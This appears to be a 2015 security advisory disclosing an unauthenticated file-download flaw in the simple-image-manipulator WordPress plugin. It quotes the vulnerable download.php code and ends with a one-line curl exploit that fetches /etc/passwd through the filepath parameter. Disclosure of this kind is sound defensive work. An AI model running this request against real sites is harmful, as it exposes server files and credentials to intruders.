Title: Remote file download in simple-image-manipulator v1.0 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-16
Download Site: https://wordpress.org/plugins/simple-image-manipulator
Vendor: https://profiles.wordpress.org/kevartpatel/
Vendor Notified: 2015-07-16
Vendor Contact: plugins@wordpress.org
Description: Manipulate your wordpress images using slider and tickboxes.
Vulnerability:
In ./simple-image-manipulator/controller/download.php no checks are made to authenticate user or sanitize input when determining file location:


 14  /* Figure out the MIME type | Check in array */
 15  $known_mime_types=array(
 16         "pdf" => "application/pdf",
 17         "txt" => "text/plain",
 18         "html" => "text/html",
 19         "htm" => "text/html",
 20         "exe" => "application/octet-stream",
 21         "zip" => "application/zip",
 22         "doc" => "application/msword",
 23         "xls" => "application/vnd.ms-excel",
 24         "ppt" => "application/vnd.ms-powerpoint",
 25         "gif" => "image/gif",
 26         "png" => "image/png",
 27         "jpeg"=> "image/jpg",
 28         "jpg" =>  "image/jpg",
 29         "php" => "text/plain"
 30  );
 31 
 32  if($mime_type==''){
 33          $file_extension = strtolower(substr(strrchr($file,"."),1));
 34          if(array_key_exists($file_extension, $known_mime_types)){
 35                 $mime_type=$known_mime_types[$file_extension];
 36          } else {
 37                 $mime_type="application/force-download";
 38          };
 39  };

CVEID:
OSVDB:
Exploit Code:
  • curl -sk "http://server/wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd"